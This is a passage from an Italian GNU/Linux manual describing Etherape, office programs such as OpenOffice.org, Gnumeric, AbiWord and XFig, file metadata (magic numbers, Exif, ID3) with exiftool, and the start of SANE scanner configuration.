Etherape[24] è un programma che mostra graficamente il traffico di rete che coinvolge, direttamente o indirettamente, il proprio elaboratore. Non si tratta di uno strumento sofisticato di controllo del traffico, ma di qualcosa che dà l'idea dell'entità di questo.

```
etherape [opzioni]
```

Etherape ha bisogno di accedere direttamente all'interfaccia di rete, pertanto si usa generalmente con i privilegi dell'utente '**root**'.

Figura 32.39. Etherape durante il funzionamento. Si vede in particolare un traffico ICMP, che in questo caso è di colore blu, e un traffico NFS, che appare di colore rosa.

File Capture View Help

Protocols
ICMP
SYSLOG
YPSERV
TCP
NFS

172.21.254.254
192.168.1.254
172.21.77.4
host109-6.pool82193.infracom.it

Reading data from eth0 in IP mode

32.6 Applicativi comuni per l'ufficio

32.6.1 OpenOffice.org

OpenOffice.org[25] è un applicativo per l'automazione ufficio completo, che include il foglio elettronico, il programma di scrittura, il programma di disegno, il programma di presentazione e anche altri componenti. In generale è in grado di caricare e salvare anche in formati non propri, inclusi quelli di MS-Office.

Eventualmente, il capitolo 70 mostra l'uso di OpenOffice.org e di Abiword per le funzionalità principali che riguardano la scrittura.

Il programma di scrittura di OpenOffice.org è completo; oltre alla gestione degli stili, esiste anche la possibilità di fare la «stampa unione», ovvero la creazione di documenti con campi variabili, da completare in abbinamento a un elenco di valori (di solito per le lettere circolari).

Figura 32.40. OpenOffice.org per la scrittura di documenti.

Anche il foglio elettronico di OpenOffice.org è completo, offrendo un alto grado di compatibilità con MS-Excel.

Figura 32.41. Il foglio elettronico di OpenOffice.org.

La configurazione di OpenOffice.org è accessibile dalla maschera che si vede nella figura 32.42. Si seleziona una voce nell'albero di sinistra, mentre a destra appare una maschera contestuale da compilare.

Figura 32.42. Configurazione di OpenOffice.org.

32.6.2 Gnumeric

Gnumeric[26] è un applicativo per la gestione di fogli elettronici, realizzato in modo da essere funzionalmente equivalente a MS-Excel. Si tratta ovviamente di un'applicazione per X, che fa parte in particolare del lavoro generale su Gnome.

L'eseguibile da avviare è '**gnumeric**' e il suo aspetto si vede nella figura 32.43.

Figura 32.43. L'aspetto di Gnumeric con un foglio piuttosto complesso.

Contrariamente ad altri fogli elettronici comuni, i nomi delle funzioni di Gnumeric rimangono in inglese. La figura 32.44 mostra la maschera che guida all'inserimento della funzione ***date()***.

Figura 32.44. La maschera per la selezione guidata delle funzioni di Gnumeric.

32.6.3 AbiWord

AbiWord[27] è un applicativo per la scrittura a composizione visuale (WYSIWYG), disponibile anche su piattaforme diverse dai sistemi Unix. Per quanto riguarda questi ultimi, si tratta ovviamente di un'applicazione per X, che utilizza in particolare le librerie GTK, cosa che lo integra esteticamente nell'ambiente di Gnome.

L'eseguibile da avviare è '**`abiword`**' e il suo aspetto si vede nella figura 32.45.

Figura 32.45. L'aspetto di AbiWord.

Eventualmente, il capitolo 70 mostra l'uso di Abiword e di OpenOffice.org per le funzionalità principali che riguardano la scrittura.

32.6.4 XFig

XFig[28] è un programma per il disegno vettoriale, con un'estetica un po' particolare, che differisce dagli applicativi comuni per l'automazione ufficio, in quanto si indica prima l'azione e poi l'oggetto a cui si applica.

Figura 32.46. XFig.

La descrizione che viene fatta in questo capitolo di XFig è molto superficiale, per consentire semplicemente di comprendere le possibilità di questo programma di disegno. La documentazione originale è comunque molto dettagliata e facile da consultare.

32.6.4.1 Formato FIG

XFig salva in un formato speciale: FIG. Si tratta di un file di testo normale, in cui si possono intuire i dati inseriti. Segue un esempio, che si traduce in pratica nella figura 32.48:

```
#FIG 3.2
Portrait
Center
Metric
A4
100.00
Single
-2
1200 2
2 2 0 1 0 7 50 0 -1 0.000 0 0 -1 0 0 5
         270 225 1755 225 1755 990 270 990 270 225
```

```
 2 4 0 1 0 17 50 0 -1 0.000 0 0 7 0 0 5
         2745 1395 2745 540 1215 540 1215 1395 2745 1395
 4 0 0 50 0 0 12 0.0000 4 180 1350 1845 360 Esempio con XFig\001
```

Figura 32.48. Esempio con XFig.

Si può osservare in particolare che il testo può essere rappresentato con caratteri normali e anche con sequenze ottali, nella forma '***nnn***'. Pertanto, la sequenza '**\001**' che si vede nell'esempio, rappresenta il codice <*SOH*>.

Un file FIG può contenere anche dei commenti, che appaiono preceduti dal simbolo '**#**', nella prima colonna (all'inizio di una riga), a parte la prima direttiva del tipo '**#FIG** ***versione***', che serve a qualificare il contenuto del file.

32.6.4.2 Struttura generale dell'interfaccia grafica del programma

L'aspetto del programma non è quello comune ed è necessario apprendere il significato dei vari bottoni grafici e degli altri oggetti che stanno attorno alla superficie di disegno. In alto a sinistra si trovano alcuni pulsanti grafici che aprono dei menù a tendina:

Sotto ai bottoni si trova la descrizione della modalità attiva (selezionata con uno dei bottoni disposti verticalmente sul lato sinistro), mentre un po' più a destra si vede il nome del file aperto. Più a destra, vengono riepilogate le funzionalità disponibili con il mouse, in base alla modalità attiva, oppure in base alla posizione del puntatore del mouse.

Sul lato sinistro è disposta una serie di pulsanti grafici: un primo gruppo riguarda l'inserimento di oggetti sulla superficie di disegno; il secondo consente la modifica degli oggetti. Selezionando uno di questi pulsanti grafici, se ne ottiene anche la descrizione nello spazio sotto i pulsanti del menù, dove in particolare viene anche descritto il modo per richiamare la funzione corrispondente attraverso la tastiera.

Sul lato destro, in alto, appaiono alcuni pulsanti grafici e una serie di caselle di selezione, riferiti alla gestione della profondità. Ogni oggetto che si colloca sulla superficie da disegno, ha un livello, definito come profondità. Un valore pari a zero rappresenta il livello più esterno, mentre un valore pari a 999 si riferisce a una profondità massima. Questa distinzione consente

di sovrapporre gli oggetti stabilendo quale sia visibile e quale risulti nascosto: il livello di profondità più basso prende la precedenza e pone l'oggetto sopra gli altri. In questo modo, con il pannello dei pulsanti grafici, è possibile visualizzare solo uno o alcuni strati; nell'esempio mostrato, ne esiste uno soltanto, pari al valore 50:

Depths
All On
All Off
Toggle
50

Nel lato inferiore della finestra di XFig appaiono dei pulsanti grafici che variano a seconda del contesto e rappresentano delle opzioni che possono essere modificate:

Zoom 3 | Grid Mode NONE | Point Posn | Depth 68 | Angle Geom | PenColor Black | FillColor Green2 | Fill Style NONE | Line Width 1 | Line Style | Join Style

32.6.4.3 Utilizzo comune del mouse

L'uso del mouse sulla superficie da disegno, non è intuitiva e ogni contesto ha la sua modalità di uso. Per quanto riguarda il disegno di oggetti comuni (poligoni, cerchi, linee), si possono riepilogare alcuni comportamenti importanti.

Il disegno di un oggetto richiede generalmente la pressione del primo tasto del mouse, in corrispondenza del primo punto che lo riguarda. Se l'oggetto prevede l'inserimento di più punti, questi si ottengono con la pressione successiva dello stesso tasto; se la quantità dei punti è indefinita, l'ultimo punto viene stabilito con la pressione del secondo tasto (quello centrale); al contrario, la pressione del terzo tasto quando l'oggetto non è terminato, provoca l'annullamento del suo inserimento.

Il disegno di un oggetto che prevede l'inserimento di più punti per il tratteggio di una linea, può essere iniziato e terminato con il secondo tasto del mouse, segnalando l'inizio e la fine; durante lo spostamento del mouse, si ottiene l'inserimento di diversi punti a intervalli relativamente frequenti.

In ogni caso, il promemoria che appare in alto a destra, descrive l'uso del mouse in base al contesto attivo; è sempre bene osservare questa guida per sapere come ci si deve comportare.

32.6.4.4 Esportazione e importazione di formati differenti

XFig è in grado di esportare un disegno in formati differenti, attraverso la voce `Export` del menù `File`, raggiungibile anche con la combinazione di tasti [*Meta x*] ([*Alt x*]). Al contrario, non è in grado di importare disegni da altri formati, ma per questo si possono usare programmi esterni.

Il primo programma da considerare è '**`fig2dev`**', in grado di convertire autonomamente un disegno FIG in altri formati (vettoriali o meno che siano):

```
fig2dev -L formato [opzioni] [file_fig [file_da_generare]]
```

'**fig2dev**' richiede un'opzione obbligatoria, '**-L**', con la quale si specifica il formato che deve avere il file di destinazione, ottenuto dalla conversione; inoltre, se non si indicano i file, usa lo standard input per ottenere il file FIG da convertire e lo standard output per il file da generare.

Tabella 32.52. Utilizzo dell'opzione '**-L**' con '**fig2dev**'.

Comando	Effetto
`-L box`	Genera il codice LaTeX necessario a ottenere una scatola della dimensione necessaria a contenere il disegno.
`-L cgm`	Genera un'immagine CGM (*Computer graphic metafile*).

`-L latex`
`-L epic`
`-L eepic`
`-L eepicemu`
	Genera un'immagine in formato LaTeX o in altri formati derivati più sofisticati.

`-L gif`	Genera un'immagine GIF.
`-L ibmgl`	Genera un disegno in formato IBM-GL, compatibile con HP-GL.
`-L jpeg`	Genera un'immagine JPEG.
`-L map`	Genera un file HTML contenente un riferimento a un'immagine esterna che però non viene creata automaticamente.
`-L mf`	Genera un file da utilizzare con MetaFont per la costruzione di un insieme di caratteri.
`-L mp` `-L mmp`	Genera un file MetaPost o MultiMetaPost.
`-L pcx`	Genera un'immagine PCX.

`-L eps`
`-L ps`
`-L pdf`
	Genera una trasformazione in EPS, PostScript e PDF.

`-L pic` `-L tpic`	Genera un file PIC, o TPIC, adatto per Groff.
`-L pictex`	Genera un formato PicTeX.
`-L png`	Genera un'immagine PNG.
`-L ppm`	Genera un'immagine PPM.

Comando	Effetto
`-L pstex` `-L pstex_i`	Genera un formato PostScript senza testo e un formato LaTeX complementare, contenente solo il testo.
`-L sld`	Genera un formato SLD di AutoCAD.
`-L textyl`	Genera un formato Textyl.
`-L tiff`	Genera un'immagine TIFF.
`-L tk`	Genera un formato adatto a TCL/Tk.
`-L xbp`	Genera un'immagine XBM.
`-L xpp`	Genera un'immagine XPM.

Oltre all'opzione '**`-L`**', sono disponibili altre opzioni, alcune delle quali sono specifiche per il tipo di conversione che si intende attuare. Per l'elenco completo delle possibilità, basta consultare la pagina di manuale *fig2dev(1)*. Viene mostrato l'esempio della conversione di un file FIG in formato EPS:

$ **`fig2dev -L eps esempio.fig esempio.eps`** [*Invio*]

È interessante notare che il file che si ottiene include solo l'area del disegno che contiene qualcosa, indipendentemente dal formato della carta che può essere specificato nel preambolo del file FIG.

Può essere interessante anche l'uso del programma '**`pstoedit`**', che è in grado di convertire un file PostScript in un disegno vettoriale; in particolare nel formato FIG:

$ **`pstoedit -f fig esempio.ps esempio.fig`** [*Invio*]

In questo esempio, si vuole convertire il file '`esempio.ps`' nel file '`esempio.fig`' ('**`pstoedit`**' è descritto nella sezione 29.1.7.1).

Quando si esegue una conversione da un formato vettoriale finale, è molto probabile che si perdano delle informazioni significative sulla struttura del disegno. Per esempio, una linea tratteggiata contenuta in un file PostScript può tradursi in un file FIG come tante piccole linee indipendenti.

32.7 Riferimenti

- *OpenOffice.org*

  ⟨http://www.openoffice.org⟩

- Autori vari, *The Gnumeric manual*

  ⟨http://projects.gnome.org/gnumeric/doc/⟩

- *Xfig user manual*

  ⟨http://www.xfig.org/userman/⟩

[1] **X** MIT più altre licenze per porzioni particolari di codice

[2] **X** MIT più altre licenze per porzioni particolari di codice

[3] **MLTerm** BSD e GNU GPL, a seconda della porzione di codice

[4] **X** MIT più altre licenze per porzioni particolari di codice

[5] **X** MIT più altre licenze per porzioni particolari di codice

[6] **X** MIT più altre licenze per porzioni particolari di codice

[7] **X** MIT più altre licenze per porzioni particolari di codice

[8] **X** MIT più altre licenze per porzioni particolari di codice

[9] **X** MIT più altre licenze per porzioni particolari di codice

[10] **X** MIT più altre licenze per porzioni particolari di codice

[11] **X** MIT più altre licenze per porzioni particolari di codice

[12] **X** MIT più altre licenze per porzioni particolari di codice

[13] **X** MIT più altre licenze per porzioni particolari di codice

[14] **X** MIT più altre licenze per porzioni particolari di codice

[15] **X** MIT più altre licenze per porzioni particolari di codice

[16] Esistono almeno altri due programmi per visualizzare l'ora: '**`oclock`**' e '**`rclock`**'.

[17] **X** MIT più altre licenze per porzioni particolari di codice

[18] **XFE** GNU GPL

[19] **Nautilus** GNU GPL

[20] **Konqueror** GNU GPL

[21] **File-roller** GNU GPL

[22] **Putty** Software libero con licenza speciale

[23] **Gmemusage** GNU GPL

[24] **Etherape** GNU GPL

[25] **OpenOffice.org** software libero: GNU GPL e GNU LGPL, oppure SISSL, con alcune porzioni di codice soggette a licenze speciali

[26] **Gnumeric** GNU GPL

[27] **AbiWord** GNU GPL

[28] **XFig** software libero con licenza speciale

Capitolo 33

File multimediali

33.1 Contenitori e contenuti 1891
33.1.1 Impronta 1892
33.1.2 Intestazioni 1893
33.1.3 Etichette 1893
33.1.4 Involucri 1894
33.1.5 Exif 1894
33.1.6 ID3 1895
33.2 Informazioni particolari dei file 1895
33.2.1 Exiftool 1895
33.2.2 Tipi di informazioni 1897
33.2.3 Modifica delle informazioni 1898
33.3 Riferimenti 1899

Generalmente, con il termine di «file multimediale», si tende a pensare a un file che contenga informazioni audio-visuali, anche se di per sé, il significato del termine non si limita a questi casi. In pratica, i file con cui si ha a che fare sono sempre meno specializzati, in quanto contenitori di informazioni di vario genere. Nel prossimo futuro, l'omogeinizzazione dei formati porterà a contenitori generici per ogni tipo di informazione, dove l'utente medio non avrà la necessità di distinguere tra file di testo scritto, fogli elettronici, presentazioni, filmati e altro, in quanto tutto sarà integrabile in uno o pochi formati (esteriori) alternativi.

33.1 Contenitori e contenuti

Per tradizione, i nomi dei file seguono la regola per cui l'estensione del nome serve a determinare il tipo del contenuto. Tuttavia, questa pratica è insufficiente e inattendibile, pertanto, i file con cui l'utente medio ha a che fare quotidianamente, contengono informazioni aggiuntive rispetto a quelle apparenti, le quali servono principalmente per automatizzarne la procedura di riconoscimento.

Sono pochi i file che non dispongono di tali informazioni; a questi tipi si fa riferimento generalmente con il termine di «formato grezzo». Tra tutti, il formato «grezzo» più importante è il testo puro, ma capita di utilizzare anche formati grezzi per rappresentare immagini, audio e video. In ogni caso, per accedere a tali dati, occorre conoscerne esattamente le caratteristiche, perché i programmi non possono stimarle (per esempio, nel caso del testo puro, bisogna conoscere la codifica, perché questa informazione non è determinabile, se si tralascia l'ipotesi di un'analisi statistica).

33.1.1 Impronta

Quando non si tratta di formati di file grezzi, si utilizza normalmente una sigla di riconoscimento, nota nei sistemi Unix come ***magic number***, collocata in una posizione prestabilita, di solito all'inizio del file. Con questa sigla si determina il tipo di file con cui si ha a che fare. È così che funziona il programma '**`file`**' che comunque nei sistemi GNU non si limita all'analisi del solo magic number:

$ **`file xxx.*`** [*Enter*]

```
xxx.jpg:  JPEG image data, JFIF standard 1.01
xxx.html: HTML document text
xxx.midi: Standard MIDI data (format 1) using 2 tracks at 1/384
```

A titolo di esempio, un file JPG, contiene la sigla «JFIF» tra il settimo e il decimo byte; nello stesso modo, un file PNG contiene la sigla «PNG», tra il secondo e il quarto byte. Nelle figure successive vengono mostrati alcuni esempi; si tenga conto che ogni carattere rappresentato individua esattamente un byte.

Figura 33.2. Impronta di un file JPG.

```
......JFIF......................................
C................................... $.’ ",#..(7
...
...
```

Figura 33.3. Impronta di un file PNG.

```
.PNG........IHDR...^...U........E....bKGD.......
.......pHYs.................tIME.....$...QG....t
...
...
```

Figura 33.4. Impronta di un file GIF (versione «89a»).

```
GIF89a^.U..P...........................". ..%  .
."."!".&&&/-2)0)/400-/1+212.665:A9?C@B;BAA?FFFJQ
...
...
```

Figura 33.5. Impronta di un file PDF (versione «1.4»).

```
%PDF-1.4
...
...
```

Figura 33.6. Impronta di un file ZIP (archivio compresso).

```
PK........5.o5...............LogicSim/UT...&E[E
...
...
```

33.1.2 Intestazioni

Quando un formato di file prevede l'inserimento di informazioni aggiuntive, spesso queste trovano posto all'interno di intestazioni, ovvero nella parte iniziale del file. Per esempio, un file HTML divide il proprio contenuto proprio tra gli elementi '**HEAD**' e '**BODY**', dove nel primo trovano posto tante informazioni che non vengono visualizzate in condizioni normali.

Il mettere le informazioni sul contenuto del file nella parte iniziale consente ai programmi che si interessano di accedere a queste di leggere velocemente solo quella porzione, quando le condizioni particolari di accesso al file consentono esclusivamente una lettura sequenziale.

Figura 33.7. Esempio di un file JPG, che nella sua parte iniziale contiene un commento, oltre ad altre informazioni espresse in forma numerica binaria, non distinguibili nella figura.

```
......JFIF.............Created with The GIMP...
C................................. $.'  ",#..(7
),01444.'9=82<.342...C..........2!.!22222222222
...
...
```

33.1.3 Etichette

Succede spesso che i formati di certi file siano stati progettati poco prudentemente, senza pensare alla necessità di aggiungere certe informazioni particolari. In quei casi, se le informazioni iniziali di questi file consentono comunque di determinare la collocazione dei contenuti previsti originariamente, capita che vengano definite delle estensioni, per le quali si aggiungono delle informazioni in coda al formato preesistente, come se si trattasse di etichette appiccicate.

Questa tecnica, quando viene usata, serve a consentire la lettura e l'interpretazione di questi file anche a programmi che non possono essere a conoscenza di nuove estensioni del formato, pur rimanendo la possibilità che in alcuni casi si manifestino dei problemi di compatibilità.

33.1.4 Involucri

A volte, i formati dei file non rappresentano il modo in cui le informazioni salienti di questi sono state codificate, ma solo la forma esteriore di contenerli. Ciò succede normalmente con i formati audio-visuali, dove un certo contenitore esterno può avvolgere formati video e audio abbastanza differenti.

A titolo di esempio, il formato Ogg è un contenitore progettato per dati audio-visuali e testuali, secondo varie codifiche. Spesso viene usato per contenere solo sequenze audio in formato Vorbis, ma non si limita necessariamente a questo.

33.1.5 Exif

Exif sta per *Exchangeable image file format* e definisce uno standard per l'introduzione di informazioni addizionali in alcuni formati di immagini digitali. Lo scopo principale è quello di consentire alle macchine fotografiche di annotare automaticamente tutte le informazioni salienti sullo scatto che si esegue.

Figura 33.8. Esempio di informazioni contenute all'interno di un'immagine JPG, secondo lo standard Exif.

```
Manufacturer        FUJIFILM
Model               FinePix A205S
Orientation         top - left
x-Resolution        72.00
y-Resolution        72.00
Resolution Unit     Inch
Software            Digital Camera FinePix A205S  Ver1.00
Date and Time       2004:08:07 21:24:52
YCbCr Positioning   co-sited
Copyright           [None] (Photographer) -  (Editor)
Compression         JPEG compression
Orientation         top - left
x-Resolution        72.00
y-Resolution        72.00
Resolution Unit     Inch
YCbCr Positioning   co-sited
Exposure Time       1/2 sec.
FNumber             f/4.8
ExposureProgram     Normal program
ISO Speed Ratings   200
Exif Version        Exif Version 2.2
Date and Time       2004:08:07 21:24:52
Shutter speed       120/100 sec. (APEX: 1)
Aperture            f/4.8
Brightness          -148/100
Exposure Bias       0.0
MaxApertureValue    3.20
Metering Mode       Pattern
Light Source        0
```

```
Flash                   Flash did not fire, compulsatory flash mode.
Focal Length            16.5 mm
Maker Note              286 bytes unknown data
FlashPixVersion         FlashPix Version 1.0
Color Space             sRGB
PixelXDimension         1600
PixelYDimension         1200
```

33.1.6 ID3

La sigla ID3 individua lo standard per l'inserimento di informazioni addizionali nei file audio MP3. Attraverso l'uso di «etichette» (*tag*) ID3 è possibile incorporare nei file le informazioni sull'autore, il titolo e altri dati affini.

Figura 33.9. Esempio di informazioni contenute all'interno di un file MP3, secondo lo standard ID3.

```
Title:   BWV 1041 / I. Allegro          Track: 1
Artist:  Lara St. John
Album:   Bach Violin Concertos          Year:  2001
Comment: From magnatune.com             Genre: Classical [32]
```

33.2 Informazioni particolari dei file

Quando da un file ci si aspetta solo un certo tipo di contenuto, a meno che si tratti di un file in formato grezzo, è molto probabile invece che i contenuti esistenti siano molto più ricchi del previsto. Gli standard che definiscono le «informazioni aggiuntive» che possono convivere all'interno di certi file sono numerosi e difficilmente si può trovare uno strumento universale per intervenire su queste.

In questo capitolo viene descritto solo l'uso di Exiftool (precisamente nella forma del programma '**`exiftool`**'), il quale sembra essere al momento lo strumento più completo, quasi come il compagno perfetto del programma '**`file`**'.[1]

33.2.1 Exiftool

Exiftool[2] è un modulo Perl che consente di scrivere programmi che accedono alle informazioni contenute nei file multimediali. Assieme al modulo si trova anche un programma Perl che ne fa uso: '**`exiftool`**'. A questo programma si fa riferimento in queste sezioni.

L'utilizzo più semplice del programma consiste nel visualizzare tutte le informazioni disponibili su uno o più file, come nell'esempio seguente:

$ **`exiftool mio_file.mp3`** [*Enter*]

Ecco cosa si potrebbe leggere:

```
ExifTool Version Number         : 6.57
File Name                       : mio_file.mp3
File Size                       : 5 MB
File Modification Date/Time     : 2003:11:05 17:28:09
File Type                       : MP3
MIME Type                       : audio/mpeg
MPEG Audio Version              : 1
Audio Layer                     : 3
Audio Bitrate                   : 128000
Sample Rate                     : 44100
Channel Mode                    : Stereo
MS Stereo                       : Off
Intensity Stereo                : Off
Copyright Flag                  : False
Original Media                  : False
Emphasis                        : None
Encoded By                      : www.brot.dg
Track                           : 1
Length                          : 296 sec
Title                           : La mia ninna nanna
Artist                          : Me medesimo
Album                           : Le mie canzoncine
Year                            : 2003
Comment                         : wow
Genre                           : Classical
Duration                        : 0:04:57.07 (approx)
```

Si osservi che Exiftool è utile anche per file il cui contenuto non è strettamente «audio-visuale», come nell'esempio seguente, dove, attraverso il programma '**exiftool**', viene scandito un file PostScript:

$ **exiftool mio_file.ps** [*Enter*]

```
ExifTool Version Number         : 6.57
File Name                       : mio_file.ps
File Size                       : 41 kB
File Modification Date/Time     : 2007:01:26 08:14:40
File Type                       : PS
MIME Type                       : application/postscript
Bounding Box                    : 0 0 595 842
Creator                         : OpenOffice.org 2.0
For                             : daniele
Create Date                     : Thu Nov 30 12:35:51 2006
Title                           : FOGLIO-PAGA-blank.ods
Pages                           : 1
Image Height                    : 842
Image Width                     : 595
Image Size                      : 595x842
```

33.2.2 Tipi di informazioni

Le informazioni a cui Exiftool consente di accedere appartengono a degli standard, i quali specificano a loro volta i campi particolari (ovvero le etichette, o *tag*) che possono essere contenuti. Con il programma '**`exiftool`**', per fare riferimento a un certo campo, lo si può indicare nella forma seguente:

```
[standard:] campo
```

Come si vede dal modello, il nome che individua lo standard a cui fa riferimento il campo di proprio interesse, può essere omesso, se il contesto non crea ambiguità. Quando in particolare si vuole fare riferimento a tutti i campi di un certo standard, si usa la parola chiave '**`all`**':

```
[standard:] all
```

Nella riga di comando di '**`exiftool`**' è possibile richiedere l'intervento su uno o più campi con l'opzione seguente:

```
-[standard:] campo
```

Al contrario, per escludere l'intervento su un certo campo si usa la stessa opzione, ma con un doppio trattino iniziale:

```
--[standard:] campo
```

Segue un elenco di esempi nell'uso di tali opzioni:

- '**`-all`**' fa riferimento a tutti i campi, qualunque sia lo standard che interessa il file su cui si interviene;
- '**`-copyright`**' fa riferimento al campo '**`copyright`**', ammesso che sia previsto nello standard di informazioni contenute nel file su cui si interviene;
- '**`-exif:all`**' fa riferimento a tutti i campi dello standard EXIF;
- '**`-id3:all`**' fa riferimento a tutti i campi dello standard ID3;
- '**`-exif:software`**' fa riferimento al campo '**`software`**' dello standard EXIF;

I nomi dei campi, quando si inseriscono in questa opzione della riga di comando, vanno indicati senza spazi. Per esempio, per accedere al campo '**`Thumbnail Length`**', si usa la parola chiave '**`thumbnaillength`**'.

33.2.3 Modifica delle informazioni

L'opzione che specifica il tipo di informazione a cui si vuole fare riferimento può essere estesa in modo da ottenere la modifica della stessa, purché il programma '**exiftool**' sia effettivamente in grado di farlo (in quanto non tutti i campi a cui può avere accesso sono effettivamente modificabili dal programma).

- [*standard* :] *campo*= [*valore*]

Per esempio, per mettere o cambiare il valore del campo '**Software**' in un'immagine JPG contenente informazioni EXIF, basta l'opzione '**-exif:software="***stringa***"**' (oppure solo '**-software="***stringa***"**' se non è necessario specificare il contesto dello standard di riferimento). La dimostrazione seguente mostra proprio questa situazione:

$ **exiftool -exif:software mio_file.jpg** [*Enter*]

```
Software                        : Pinco Pallino software
```

$ **exiftool -exif:software="Super pinco" mio_file.jpg** [*Enter*]

```
    1 image files updated
```

$ **exiftool -software mio_file.jpg** [*Enter*]

```
Software                        : Super pinco
```

Bisogna osservare che le informazioni gestite dai vari sistemi di etichettatura possono essere di tipo diverso; pertanto, anche se il programma '**exiftool**' le mostra in un certo modo comprensibile a livello umano, può darsi che la modifica non sia altrettanto facile, perché il dato va convertito. Per esempio, non si può pretendere di cambiare il campo '**Compression**' delle informazioni EXIF con una stringa qualunque.

Per rimuovere il contenuto di un campo è sufficiente non assegnarvi alcunché, come nell'esempio seguente, dove si vuole omettere l'indicazione del software:

$ **exiftool -exif:software= mio_file.jpg** [*Enter*]

```
    1 image files updated
```

Altri programmi affini.

exif(1)[3]	⟨http://sourceforge.net/projects/libexif/⟩
exiv2(1)[4]	⟨http://www.exiv2.org/⟩

33.3 Riferimenti

- *Exif.org*

  ⟨*http://www.exif.org/* ⟩

- *ID3.org*

  ⟨*http://www.id3.org/* ⟩

- Phil Harvey, *ExifTool*

  ⟨*http://www.sno.phy.queensu.ca/~phil/exiftool/* ⟩

[1] Exiftool ha un nome poco appropriato, dato che è in grado di leggere e in parte di gestire anche molti altri tipi di informazioni, oltre alle estensioni Exif, come invece sembrerebbe suggerire il nome.

[2] **Exiftool** stesse condizioni di Perl

[3] **LibExif** GNU LGPL

[4] **Exiv2** GNU GPL

Immagini

34.1 Uso dello scanner con SANE 1901
34.1.1 Lucchetto 1902
34.1.2 Schema generale 1902
34.1.3 Configurazione 1903
34.1.4 Gruppo «scanner» 1905
34.1.5 Individuazione dello scanner locale 1905
34.1.6 Permessi 1907
34.1.7 Raggiungere uno scanner attraverso la rete 1908
34.1.8 Utilizzo di «scanimage» 1911
34.1.9 Altri programmi frontali 1913
34.1.10 Pagine di manuale 1914
34.2 Gestione delle immagini 1915
34.2.1 Programmi specifici per la cattura dallo schermo 1915
34.2.2 Xloadimage 1917
34.2.3 XPaint 1924
34.2.4 Gimp 1928
34.2.5 ImageMagick 1930
34.2.6 GraphicsMagick 1938
34.2.7 Kolourpaint 1939
34.2.8 Gpaint 1940
34.2.9 Tuxpaint 1941
34.2.10 GQview 1942
34.3 Riferimenti 1943

`.xloadimage` 1923 `.XPaintrc` 1924 `/etc/sane.d/` 1903 `animate` 1935 `convert` 1932 `display` 1936 `import` 1935 `inetd.conf` 1903 `mogrify` 1934 `montage` 1935 `scanimage` 1911 `services` 1903 `xgrab` 1916 `Xloadimage` 1923 `xpaint` 1924 `xwd` 1915 `xwud` 1916

34.1 Uso dello scanner con SANE

SANE (*Scanner access now easy*) è un API (*Application program interface*), ovvero un'interfaccia uniforme per le applicazioni che vogliono comunicare con uno scanner. Oltre a questa API, SANE include una serie di gestori specifici (*driver*) per una grande quantità di scanner, costituiti da librerie caricate dinamicamente.

Quando si parla di SANE, dal momento che non si tratta di un programma puro e semplice, ma di un sistema di componenti integrati tra di loro, può essere necessario distinguere tra:

- il progetto della API e del protocollo di comunicazione, [1] ovvero dell'interfaccia di comunicazione;
- le librerie di gestione dei vari scanner, individuate normalmente come il *backend*, [2] ovvero la parte terminale di SANE;
- i programmi frontali, ovvero *frontend*, che consentono in pratica all'utente di gestire la scansione.

In questo capitolo vengono presi in considerazione principalmente gli scanner USB, mentre per le altre situazioni ci sono solo delle annotazioni superficiali. Per maggiori dettagli conviene leggere la documentazione annotata alla fine del capitolo.

Nel capitolo si fa riferimento anche a scanner raggiunti attraverso la rete. Evidentemente, per comprendere questo meccanismo occorre avere delle competenze sulle reti TCP/IP e su come si configurano queste cose in un sistema Unix comune. Si veda eventualmente il capitolo 38 e i successivi.

34.1.1 Lucchetto

Lo scanner comune prevede un sistema meccanico per bloccare il gruppo ottico di scansione, quando questo deve essere trasportato. Questo blocco meccanico è costituito normalmente da una levetta, da una slitta, o da qualcosa di simile. Il problema è che spesso ci si dimentica di sbloccare lo scanner prima di usarlo, cosa che ovviamente impedisce di attuare le scansioni.

Figura 34.1. Due scanner sbloccati e pronti per l'uso.

34.1.2 Schema generale

Quando si pensa a SANE bisogna dare una collocazione ai vari componenti, anche se in modo semplificato, per poter comprendere cosa si sta facendo e dove cercare i problemi quando questi si manifestano.

Figura 34.2. Schema di massima della struttura di SANE.

Nella figura si vede la nuvoletta delle librerie che costituiscono la parte terminale di SANE, che va a comunicare effettivamente con lo scanner. Queste librerie vengono gestite da un sistema dinamico di caricamento ('**`sane-dll`**'), con il quale comunicano i programmi frontali, come '**`scanimage`**' e come '**`saned`**'; dove '**`saned`**' si occupa in particolare di offrire attraverso la rete l'accesso allo scanner locale.

34.1.3 Configurazione

La configurazione di SANE riguarda principalmente il sistema di librerie di accesso allo scanner e si trova normalmente nella directory '`/etc/sane.d/`'. Dentro questa directory appaiono normalmente una serie di file con estensione '`.conf`', dove la radice del nome corrisponde alla libreria particolare da prendere in considerazione. Per esempio, il file '`hp.conf`' si riferisce a un certo gruppo di scanner HP.

Oltre ai file di configurazione di una certa libreria specifica, appare sempre il file '`dll.conf`', che riguarda la gestione complessiva di queste librerie (*dynamic backend loader*). Questo file consente di specificare quali librerie utilizzare e quali ignorare del tutto. Ecco un esempio che contiene un estratto del file:

```
# /etc/sane.d/dll.conf
# SANE dynamic backend loader configuration

net
abaton
agfafocus
apple
avision
…
…
umax
#umax_pp
umax1220u
v4l
```

Per quanto riguarda la possibilità di offrire l'accesso allo scanner locale attraverso la rete, occorre verificare che il file '`/etc/services`' contenga un riferimento appropriato alla porta '**`6566`**' TCP:

```
…
sane            6566/tcp        saned           # SANE network scanner daemon
…
```

Inoltre occorre verificare che il supervisore dei servizi di rete sia stato configurato in modo da avviare '**`saned`**' quando viene richiesta quella porta. Nel caso particolare di Inetd, si tratta di intervenire nel file '`/etc/inetd.conf`' con una riga simile a quella seguente:

```
…
sane  stream  tcp  nowait  saned.saned  /usr/sbin/tcpd  /usr/sbin/saned
…
```

Si osservi che l'avvio del programma '**`saned`**' con i privilegi dell'utente fittizio '**`saned`**', associato al gruppo '**`saned`**', come si vede nell'esempio, non è necessariamente corretto. Questo problema viene descritto meglio in un'altra sezione.

Quindi occorre valutare la configurazione del programma '**`saned`**', con il file '`/etc/sane.d/saned.conf`':

```
#
# saned.conf
#
127.0.0.1
192.168.0.0/16
172.16.0.0/12
10.0.0.0/8
[::1]
[fe80::]/10
```

L'esempio mostra l'abilitazione dell'accesso da tutti gli indirizzi IPv4 privati, compreso quello locale, dell'indirizzo IPv6 *loopback* e di tutti gli indirizzi IPv6 di tipo site-local.

